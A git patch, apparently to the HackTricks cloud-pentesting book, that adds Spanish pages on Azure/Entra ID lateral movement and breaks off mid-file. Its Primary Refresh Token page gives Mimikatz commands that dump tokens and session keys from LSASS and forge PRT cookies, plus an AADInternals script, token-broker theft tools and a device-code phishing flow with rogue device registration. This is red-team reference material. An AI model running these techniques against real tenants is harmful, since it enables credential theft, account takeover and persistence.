From 40fe735c5e3994caa9086f7455fab49a0a41f28f Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 16:04:20 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- src/SUMMARY.md | 9 +- .../az-pass-the-certificate.md | 8 +- ...g-primary-refresh-token-microsoft-entra.md | 7 - .../az-primary-refresh-token-prt.md | 256 +++++++++++++++++- .../az-processes-memory-access-token.md | 5 +- .../az-cloud-kerberos-trust.md | 74 +++-- .../az-default-applications.md | 9 - .../{federation.md => az-federation.md} | 33 ++- .../az-hybrid-identity-misc-attack.md | 29 ++ ... => az-pta-pass-through-authentication.md} | 18 +- .../az-synchronising-new-users.md | 30 -- .../az-entraid-privesc/README.md | 24 +- .../az-services/az-front-door.md | 18 ++ 13 files changed, 402 insertions(+), 118 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{federation.md => az-federation.md} (71%) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{pta-pass-through-authentication.md => az-pta-pass-through-authentication.md} (82%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-front-door.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f61a27c2f..48a80565e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -420,6 +420,7 @@ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) + - [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md) - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) @@ -442,21 +443,19 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md) - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 433301a5e..cc52bca72 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 @@ ## Pass the Certificate (Azure) -En máquinas unidas a Azure, es posible autenticar de una máquina a otra utilizando certificados que **deben ser emitidos por Azure AD CA** para el usuario requerido (como sujeto) cuando ambas máquinas soportan el mecanismo de autenticación **NegoEx**. +En máquinas unidas a Azure, es posible autenticar de una máquina a otra utilizando certificados que **deben ser emitidos por Entra ID CA** para el usuario requerido (como sujeto) cuando ambas máquinas soportan el mecanismo de autenticación **NegoEx**. En términos super simplificados: -- La máquina (cliente) que inicia la conexión **necesita un certificado de Azure AD para un usuario**. -- El cliente crea un encabezado de JSON Web Token (JWT) que contiene PRT y otros detalles, lo firma utilizando la clave derivada (usando la clave de sesión y el contexto de seguridad) y **lo envía a Azure AD**. -- Azure AD verifica la firma del JWT utilizando la clave de sesión del cliente y el contexto de seguridad, verifica la validez del PRT y **responde** con el **certificado**. +- La máquina (cliente) que inicia la conexión **necesita un certificado de Entra ID para un usuario**. +- El cliente crea un encabezado de JSON Web Token (JWT) que contiene PRT y otros detalles, lo firma utilizando la clave derivada (usando la clave de sesión y el contexto de seguridad) y **lo envía a Entra ID**. +- Entra ID verifica la firma del JWT utilizando la clave de sesión del cliente y el contexto de seguridad, verifica la validez del PRT y **responde** con el **certificado**. En este escenario y después de obtener toda la información necesaria para un ataque de [**Pass the PRT**](pass-the-prt.md): diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md deleted file mode 100644 index 3a74013b5..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ /dev/null @@ -1,7 +0,0 @@ -# Az - Phishing Primary Refresh Token (Microsoft Entra) - -{{#include ../../../banners/hacktricks-training.md}} - -**Verificar:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 223147788..15b2e5f42 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -1,7 +1,259 @@ -# Az - Token de Actualización Primario (PRT) +# Az - Primary Refresh Token (PRT) {{#include ../../../banners/hacktricks-training.md}} -**Consulta la publicación en** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) aunque otra publicación que explica lo mismo se puede encontrar en [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +## ¿Qué es un Primary Refresh Token (PRT)? + +Un **Primary Refresh Token (PRT)** es un token de actualización de larga duración utilizado en la autenticación de Azure AD (Entra ID), análogo a un TGT de Kerberos. Se emite al iniciar sesión un usuario en un dispositivo unido a Azure AD y se puede usar para solicitar tokens de acceso para varias aplicaciones sin volver a solicitar credenciales. Cada PRT viene acompañado de una **clave de sesión** (también llamada clave de Prueba de Posesión) -- una clave simétrica utilizada para firmar solicitudes y demostrar que el cliente tiene el PRT. El PRT en sí es un blob opaco y cifrado (no legible por el cliente), mientras que la clave de sesión se utiliza para **firmar** un JWT que contiene el PRT al solicitar tokens. En otras palabras, la posesión del PRT por sí sola es insuficiente; un atacante necesita la clave de sesión para probar la legitimidad, similar a necesitar tanto un TGT de Kerberos como su clave de sesión para la autenticación. + +En Windows, el PRT y la clave de sesión se almacenan en caché en el proceso LSASS a través del plugin CloudAP. Si un dispositivo tiene un **TPM** (Módulo de Plataforma de Confianza), Azure AD vincula claves al TPM para mayor seguridad. Esto significa que en dispositivos equipados con TPM, la clave de sesión se almacena o utiliza dentro del TPM de tal manera que no se puede leer directamente de la memoria en circunstancias normales. Si no hay un TPM disponible (por ejemplo, muchas VMs o sistemas más antiguos), las claves se mantienen en software y se protegen con cifrado DPAPI. En ambos casos, un atacante con privilegios administrativos o ejecución de código en la máquina puede intentar **volcar el PRT y la clave de sesión de la memoria** como parte de la post-explotación, y luego usarlos para suplantar al usuario en la nube. A diferencia de los tokens de actualización típicos (que suelen ser específicos de la aplicación), un PRT es más amplio, permitiendo que tu dispositivo solicite tokens para casi cualquier recurso o servicio integrado en Entra ID. + +## ¿Cómo funciona un PRT? + +Aquí hay un desglose simplificado de cómo opera un PRT: + +1. **Registro del Dispositivo:** + +- Cuando tu dispositivo (como un portátil con Windows o un teléfono móvil) se une o registra con Entra ID, se autentica utilizando tus credenciales (nombre de usuario/contraseña/MFA). + +- Tras una autenticación exitosa, Entra ID emite un PRT vinculado específicamente a tu dispositivo. + +2. **Almacenamiento del Token:** + +- El PRT se almacena de forma segura en tu dispositivo, a menudo protegido por características de hardware como el Módulo de Plataforma de Confianza (TPM), asegurando que sea difícil para partes no autorizadas extraerlo o mal utilizarlo. + +3. **Inicio de Sesión Único (SSO):** + +- Cada vez que accedes a una aplicación protegida por Entra ID (por ejemplo, aplicaciones de Microsoft 365, SharePoint, Teams), tu dispositivo utiliza silenciosamente el PRT almacenado para solicitar y obtener un token de acceso específico para esa aplicación. + +- No necesitas ingresar tus credenciales repetidamente porque el PRT maneja la autenticación de manera transparente. + +4. **Renovación y Seguridad:** + +- Los PRT tienen una larga duración (típicamente alrededor de 14 días), pero se renuevan continuamente mientras tu dispositivo esté en uso activo. + +- Si tu dispositivo se ve comprometido o se pierde, los administradores pueden revocar tu PRT de forma remota, bloqueando inmediatamente el acceso no autorizado. + +### ¿Por qué son poderosos los PRT? + +- **Acceso Universal:** A diferencia de los tokens típicos limitados a una aplicación o recurso, un PRT puede facilitar el acceso a todos los servicios integrados en Entra ID. + +- **Seguridad Mejorada:** Con protecciones de hardware integradas (como TPM), los PRT aseguran un almacenamiento y uso seguro de tokens. + +- **Experiencia del Usuario:** Los PRT mejoran significativamente la experiencia del usuario al reducir las solicitudes de autenticación frecuentes y permitir un verdadero SSO sin interrupciones. + +## ¿Cómo saber si un PRT está presente? + +- Verifica si el PRT está presente: +```bash +# Execute +dsregcmd /status +## Check if the value of AzureAdPrt is set to YES +``` +- Verificar si está protegido por TPM: +```bash +Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned +# TpmPresent/Ready = True indicates the device can bind secrets to TPM. + +dsregcmd /status +# In Device State / WHfB prerequisites you’ll typically see: +# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key; +# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. +# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). +``` +## Dump y usar PRTs no protegidos + +Según [esta publicación](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) en dispositivos Windows **sin enlace TPM**, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser **leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada** para crear una cookie PRT válida (`x‑ms‑RefreshTokenCredential`). Necesitas tanto el PRT como su clave de sesión; la cadena del PRT por sí sola no es suficiente. + +### Mimikatz +```bash +privilege::debug +sekurlsa::cloudap +``` +El **campo PRT** contiene el token de actualización encriptado (típicamente una cadena base64), y KeyValue en el ProofOfPossessionKey es la clave de sesión encriptada con DPAPI (también base64). + +Luego, desde la salida de **`sekurlsa::cloudap`**, copia el blob base64 de **`KeyValue`** dentro del campo `ProofOfPossessionKey` (esta es la clave de sesión encriptada con DPAPI). Esta clave encriptada no se puede usar tal cual; debe ser desencriptada utilizando las credenciales DPAPI del sistema. + +Debido a que la encriptación DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y usa el módulo DPAPI de Mimikatz para desencriptar: +```bash +token::elevate +dpapi::cloudapkd /keyvalue: /unprotect +``` +El `token::elevate` impersonará a SYSTEM y el comando `dpapi::cloudapkd` con `/unprotect` utilizará la clave maestra de DPAPI para desencriptar el blob KeyValue proporcionado. Esto produce la clave de sesión en texto claro y también la Clave Derivada y el Contexto asociados utilizados para la firma: +- **Clave clara** – la clave de sesión de 32 bytes en texto plano (representada como una cadena hexadecimal). +- **Clave Derivada** – una clave de 32 bytes derivada de la clave de sesión y un valor de contexto (más sobre esto a continuación). +- **Contexto** – un contexto aleatorio de 24 bytes que se utilizó al derivar la clave de firma para la cookie PRT. + +> [!NOTE] +> Si esto no funciona para ti para impersonar al usuario, revisa la siguiente sección usando **`AADInternals`**. + +Luego, también puedes usar mimikatz para generar una cookie PRT válida: +```bash +# Context is obtained from papi::cloudapkd /keyvalue: /unprotect +# Derivedkey is obtained from papi::cloudapkd /keyvalue: /unprotect +# PRT is obtained from sekurlsa::cloudap (filed "Prt" +dpapi::cloudapkd /context: /derivedkey: /prt: +``` +Mimikatz generará un JWT firmado (la `cookie PRT`) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT se puede copiar y luego usar en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a `login.microsoftonline.com`, y establecer una cookie llamada `x-ms-RefreshTokenCredential` con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado). + +También podrías usar **`roadtx`** y **`roadrecon`** con el PRT de la cookie PRT para suplantar al usuario *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*. + + +### AADInternals + +El módulo de PowerShell **`AADInternals`** también se puede usar con el PRT y la clave de sesión obtenidos previamente para generar un token PRT válido. Esto es útil para automatizar el proceso de obtención de un nuevo token PRT con nonce, que se puede usar para obtener tokens de acceso para Azure AD Graph API u otros recursos: +```bash +# Code from https://aadinternals.com/post/prt/ +# Add the PRT to a variable +$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc" + +# Add padding +while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="} + +# Convert from Base 64 +$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) + +# Add the session key (Clear key) to a variable +$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808" + +# Convert to byte array and base 64 encode +$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne '')) + +# Generate a new PRTToken with nonce +$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey + +# Get an access token for MS Graph API +Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken +``` +Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso en la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano. + +## Abusando de PRTs protegidos + +A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como un usuario local o incluso SYSTEM) aún puede **abusar del PRT para obtener nuevos tokens de acceso** aprovechando las propias APIs de broker de tokens y componentes de seguridad de Windows. En lugar de **extraer** el PRT o la clave en bruto, el atacante esencialmente **"pide" a Windows que use el PRT en su nombre**. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y **se centran en abusar de flujos de autenticación integrados** (no se necesitan vulnerabilidades sin parches). + +### Arquitectura del Broker de Tokens de Windows y Flujo de SSO + +Windows moderno maneja la autenticación en la nube a través de una pila de **broker de tokens** integrada, que incluye componentes tanto en modo usuario como en LSASS (Local Security Authority). Las piezas clave de esta arquitectura incluyen: + +- **Plugin CloudAP de LSASS:** Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gestionan PRTs y solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío PRT con la clave de sesión). + +- **Web Account Manager (WAM):** El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado. + +- **BrowserCore.exe e interfaces COM del Broker de Tokens:** Para SSO en navegadores, Windows incluye un componente llamado **BrowserCore.exe** (ubicado en *Windows Security\BrowserCore*). Este es un host de mensajería nativo utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En segundo plano, BrowserCore aprovecha un objeto COM proporcionado por `MicrosoftAccountTokenProvider.dll` para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de "broker de tokens" de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS). + +Cuando un usuario unido a Azure AD intenta acceder a un recurso (por ejemplo, el Portal de Azure), el flujo es típicamente: una aplicación llama a la interfaz COM de WAM o BrowserCore, que a su vez se comunica con LSASS. LSASS utiliza el PRT y la clave de sesión (asegurada por TPM) para producir un **token SSO** -- a menudo llamado **cookie PRT** -- que luego se devuelve a la aplicación o navegador. La cookie PRT es un JWT especial que contiene el PRT encriptado y un nonce, firmado con una clave derivada de la clave de sesión del PRT. Esta cookie se envía a Azure AD (en un encabezado `x-ms-RefreshTokenCredential`) para probar que el dispositivo y el usuario tienen un PRT válido, permitiendo a Azure AD emitir tokens de acceso y actualización estándar de OAuth para varias aplicaciones. Notablemente, cualquier reclamo de Autenticación Multifactor (MFA) presente en el PRT se trasladará a los tokens obtenidos a través de este proceso SSO, lo que significa que los tokens derivados del PRT pueden satisfacer recursos protegidos por MFA. + +### Robo de Tokens a Nivel de Usuario (No Admin) + +Cuando un atacante tiene **ejecución de código a nivel de usuario**, la protección TPM del PRT no impide que el atacante obtenga tokens. El atacante **aprovecha las APIs de Broker de Tokens de Windows integradas**: + +#### **BrowserCore (MicrosoftAccountTokenProvider COM)** + +BrowserCore expone una clase COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) para obtener cookies PRT. Esta API COM es invocada legítimamente por navegadores (extensiones de Chrome/Edge) para SSO en Azure AD. + +- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** +```bash +RequestAADRefreshToken.exe --uri https://login.microsoftonline.com +``` +*(Devuelve un token de actualización de Azure AD o una cookie PRT)* + +- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** +```bash +ROADtoken.exe --nonce +roadrecon auth --prt-cookie +``` +*(Genera nonce, invoca BrowserCore para obtener la cookie PRT, luego la canjea a través de ROADtools)* + + +### **APIs de Administrador de Cuentas Web (WAM)** + +Los atacantes utilizan bibliotecas de autenticación legítimas de Microsoft (**MSAL**, **APIs WAM**, **WebAuthenticationCoreManager**) desde procesos a nivel de usuario para recuperar silenciosamente tokens aprovechando el PRT protegido por TPM. + + +- **[aadprt](https://posts.specterops.io/)** +```bash +execute-assembly aadprt.exe +``` +*(Recupera la cookie PRT a través de interfaces COM)* + +- **[listwamaccounts](https://posts.specterops.io/)** +```bash +execute-assembly listwamaccounts.exe +``` +*(Lista las cuentas de Azure AD que han iniciado sesión a través de WAM; identifica los objetivos del token)* + +- **Ejemplo Genérico (PowerShell con MSAL)**: +```powershell +$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build() +$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result +$result.AccessToken +``` +*(Silenciosamente obtiene un token de acceso aprovechando el PRT)* + +#### Abuso de Token a Nivel de Administrador / SYSTEM + +Si el atacante se eleva a **Administrador o SYSTEM**, puede suplantar directamente a cualquier usuario conectado a Azure AD y utilizar las mismas **API de intermediario de tokens COM/WAM**. Los PRT protegidos por TPM no impiden esta emisión legítima de tokens. + +### **Suplantación de Usuario y Recuperación de Token** + +El Admin/SYSTEM podría suplantar sesiones en ejecución de otros usuarios para invocar BrowserCore o WAM para la generación de tokens. + +Para esto, solo se debe suplantar el proceso del usuario (por ejemplo, `explorer.exe`) e invocar las API del intermediario de tokens utilizando cualquier técnica comentada en la sección anterior. + +### **Interacción Directa con LSASS y el Intermediario de Tokens (Avanzado)** + +Un administrador aún puede trabajar con LSASS para abusar del PRT: por ejemplo, un administrador podría inyectar código en LSASS o llamar a funciones internas de CloudAP para solicitar a LSASS que produzca un token. La investigación de Dirk-jan señaló que un administrador puede “interactuar con las claves PRT en LSASS utilizando APIs criptográficas”. En la práctica, esto podría significar usar las propias funciones de LSASS (a través de una técnica como el hooking de API o RPC, si está disponible) para generar una cookie PRT. Otro enfoque es explotar cualquier ventana donde la clave de sesión pueda aparecer en memoria – por ejemplo, en el momento de la renovación del PRT o el registro del dispositivo cuando está sin cifrar para su uso. Tales ataques son considerablemente más complejos y situacionales. Una táctica más directa para el administrador es abusar de los manejadores de tokens o cachés existentes: LSASS almacena en caché los tokens de actualización emitidos recientemente para aplicaciones en memoria (cifrados con DPAPI). Un atacante SYSTEM decidido podría intentar extraer estos tokens protegidos por DPAPI (usando la clave maestra del usuario, que un administrador puede obtener) para robar directamente tokens de actualización para aplicaciones específicas. Sin embargo, el método más fácil y genérico sigue siendo la suplantación y el uso de las interfaces de intermediario de tokens documentadas, ya que estas garantizan que Azure AD emitirá tokens frescos (con todas las reclamaciones adecuadas) en lugar de intentar descifrar la encriptación. + +## Phishing de PRTs + +Abusar del flujo de **Código de Dispositivo OAuth** utilizando el **ID de cliente del Intermediario de Autenticación de Microsoft** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) y el recurso del **Servicio de Registro de Dispositivos (DRS)** para obtener un **token de actualización que puede ser mejorado a un Token de Actualización Primario (PRT)** después de registrar un **dispositivo malicioso**. + +### **Por qué esto funciona** + +- **PRT** está **vinculado al dispositivo** y habilita **SSO para (casi) cualquier aplicación protegida por Entra**. +- La combinación de **Intermediario + DRS** permite que un **token de actualización** phishing sea **intercambiado por un PRT** una vez que se registra un dispositivo. +- **MFA no se omite**: el **usuario realiza MFA** durante el phishing; las **reclamaciones de MFA se propagan** al PRT resultante, permitiendo al atacante acceder a aplicaciones **sin más solicitudes**. + +**Requisitos previos**: + +- **Autenticación de usuario a través de Código de Dispositivo** utilizando el **ID de cliente del Intermediario** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) y **alcances/recurso de DRS** (por ejemplo, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** o **`https://enrollment.manage.microsoft.com/`**). +- **El usuario puede registrar dispositivos** en Entra ID (**predeterminado: permitido**, pero puede ser restringido o limitado por cuota). +- **Sin políticas de CA bloqueadoras** que **deshabiliten el Código de Dispositivo** o **requieran dispositivos compatibles/híbridos** para aplicaciones objetivo (esos no detendrán la emisión de PRT, pero **sí** bloquearán **su uso** para acceder a aplicaciones protegidas). +- **Host controlado por el atacante** para ejecutar el flujo y mantener los tokens/claves del dispositivo. + +**Flujo de Ataque**: + +1. **Iniciar autenticación de Código de Dispositivo** con **client_id = Intermediario** y **alcance/recurso de DRS**; mostrar el **código de usuario** a la víctima. +```bash +curl -s -X POST \ +"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \ +-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \ +-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile" +``` +2. **La víctima inicia sesión en el sitio de Microsoft** (interfaz legítima) y completa **MFA** → **el atacante recibe un token de actualización con alcance DRS** para el cliente Broker. + +3. **Registrar un dispositivo malicioso** en el inquilino utilizando ese token de actualización (el objeto del dispositivo se crea y se vincula a la víctima). + +4. **Actualizar a un PRT** intercambiando el **token de actualización + identidad/claves del dispositivo** → **PRT** vinculado al dispositivo del atacante. + +5. **(Persistencia opcional)**: si MFA fue reciente, **registrar una clave de Windows Hello for Business** para mantener **acceso a largo plazo sin contraseña**. + +6. **Abuso**: canjear el **PRT** (o crear una **cookie PRT**) para obtener **tokens de acceso** para **Exchange/Graph/SharePoint/Teams/aplicaciones personalizadas** como el usuario. + + +### Herramientas Públicas y Pruebas de Concepto + +- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatiza el flujo de OAuth, el registro de dispositivos y las actualizaciones de tokens. +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Script de un solo comando que automatiza el phishing de código de dispositivo a claves PRT+WHfB. + + +## Referencias + +- [Publicación del blog de Dirkjan sobre PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +- [Publicación de Dirkjan sobre phishing de PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- [Publicación de Dirkjan sobre el abuso de PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +- Publicación de SpecterOps sobre [Solicitar Tokens de Solicitud de Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +- [Publicación de AADInternals sobre PRTs](https://aadinternals.com/post/prt/) +- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 762986f44..ecaa1755d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,7 +4,7 @@ ## **Información Básica** -Como se explicó en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) podrían **almacenar tokens de 